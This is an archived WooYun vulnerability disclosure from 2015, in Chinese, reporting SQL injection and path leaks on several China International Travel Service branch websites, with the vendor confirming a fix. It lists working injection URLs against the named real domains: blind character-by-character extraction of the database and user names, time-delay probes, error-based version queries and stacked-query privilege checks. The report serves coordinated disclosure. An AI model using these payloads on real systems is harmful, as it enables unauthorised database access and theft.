乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-06-23: 细节已通知厂商并且等待厂商处理中 2015-06-24: 厂商已经确认,细节仅向厂商公开 2015-07-04: 细节向核心白帽子及相关领域专家公开 2015-07-14: 细节向普通白帽子公开 2015-07-24: 细节向实习白帽子公开 2015-08-08: 细节向公众公开
旅游安全之国旅旗下分站多个问题打包提交(多个SQL注入、绝对路径泄漏等)PS:东西比较多,能不能这次不走小厂商流程了,谢谢!
1、证明是国旅旗下的网站,共100多家,简单测试了一下
2、SQL注入漏洞
URL:http://www.citsgd.com.cn/guid_sight.aspx?id=497http://www.citsgd.com.cn/guid_sight.aspx?id=497%20and%20len(db_name())=6%20and%201=1http://www.citsgd.com.cn/guid_sight.aspx?id=497%20and%20substring(db_name(),1,1)=char(67)%20and%201=1 Chttp://www.citsgd.com.cn/guid_sight.aspx?id=497%20and%20substring(db_name(),2,1)=char(73)%20and%201=1Ihttp://www.citsgd.com.cn/guid_sight.aspx?id=497%20and%20substring(db_name(),3,1)=char(84)%20and%201=1Thttp://www.citsgd.com.cn/guid_sight.aspx?id=497%20and%20substring(db_name(),4,1)=char(83)%20and%201=1Shttp://www.citsgd.com.cn/guid_sight.aspx?id=497%20and%20substring(db_name(),5,1)=char(71)%20and%201=1Ghttp://www.citsgd.com.cn/guid_sight.aspx?id=497%20and%20substring(db_name(),6,1)=char(68)%20and%201=1Dhttp://www.citsgd.com.cn/guid_sight.aspx?id=497%20and%20len(user)=6%20%20and%201=1http://www.citsgd.com.cn/guid_sight.aspx?id=497%20and%20substring(user,1,1)=char(68)%20%20and%201=1Dhttp://www.citsgd.com.cn/guid_sight.aspx?id=497%20and%20substring(user,2,1)=char(65)%20%20and%201=1Ahttp://www.citsgd.com.cn/guid_sight.aspx?id=497%20and%20substring(user,3,1)=char(78)%20%20and%201=1Nhttp://www.citsgd.com.cn/guid_sight.aspx?id=497%20and%20substring(user,4,1)=char(71)%20%20and%201=1Ghttp://www.citsgd.com.cn/guid_sight.aspx?id=497%20and%20substring(user,5,1)=char(65)%20%20and%201=1Ahttp://www.citsgd.com.cn/guid_sight.aspx?id=497%20and%20substring(user,6,1)=char(79)%20%20and%201=1O证明:数据库:CITSGD 用户名:DANGAO
URL:http://www.citsgx.com/bigxl/guoneiyou.htmlhttp://www.citsgx.com/bigxl/guoneiyou'%20and%20len(db_name())=13%20and%20'1'='1.htmlhttp://www.citsgx.com/bigxl/guoneiyou'%20waitfor%20delay%20'0:0:1'--.htmlhttp://www.citsgx.com/bigxl/guoneiyou'%20and%201=(select%20@@VERSION)--.htmlhttp://www.citsgx.com/bigxl/guoneiyou'%20and%201=(select%20db_name())--.htmlhttp://www.citsgx.com/bigxl/guoneiyou'%20and%201=(select%20@@servername)--.htmlhttp://www.citsgx.com/bigxl/guoneiyou';declare%20@d%20int--.html 支持多行http://www.citsgx.com/bigxl/guoneiyou'and%201=(select%20IS_MEMBER('db_owner'))--.html 库权限支持多行的话,而且知道数据库信息,如果被恶意利用,删除数据库还是蛮危险的!
上图:
access数据库,证明漏洞存在,未进一步猜测http://www.qhcits.cn/lines/ShowClass.asp?ClassID=209http://www.qhcits.cn/hotel/showclass.asp?classid=50http://www.qhcits.cn/lines/ShowArticle.asp?ArticleID=8261证明:http://www.qhcits.cn/lines/ShowClass.asp?ClassID=209 and 1=1http://www.qhcits.cn/lines/ShowClass.asp?ClassID=209 and 1=2
http://www.citssh.com/showinfo.aspx?newsId=34 http://www.citssh.com/showinfo.aspx?newsId=34 and 1=1 有页面http://www.citssh.com/showinfo.aspx?newsId=34 and 1=0 页面为空这个未能得到表名,厂商自己再看一下,还存在显错问题
3、物理路径(2处)
4、链接问题黔东南中国国际旅行社有限责任公司 http://www.qdncits.cn/呼伦贝尔中国国际旅行社 http://www.cits-0470.com/ (赌博网站)
已证明!
1、参数化、过滤2、物理路径问题3、链接问题处理4、你们更专业!
危害等级:高
漏洞Rank:16
确认时间:2015-06-24 11:31
非常感谢您的报告,问题已处理,十分感谢您对中国国旅的支持。
暂无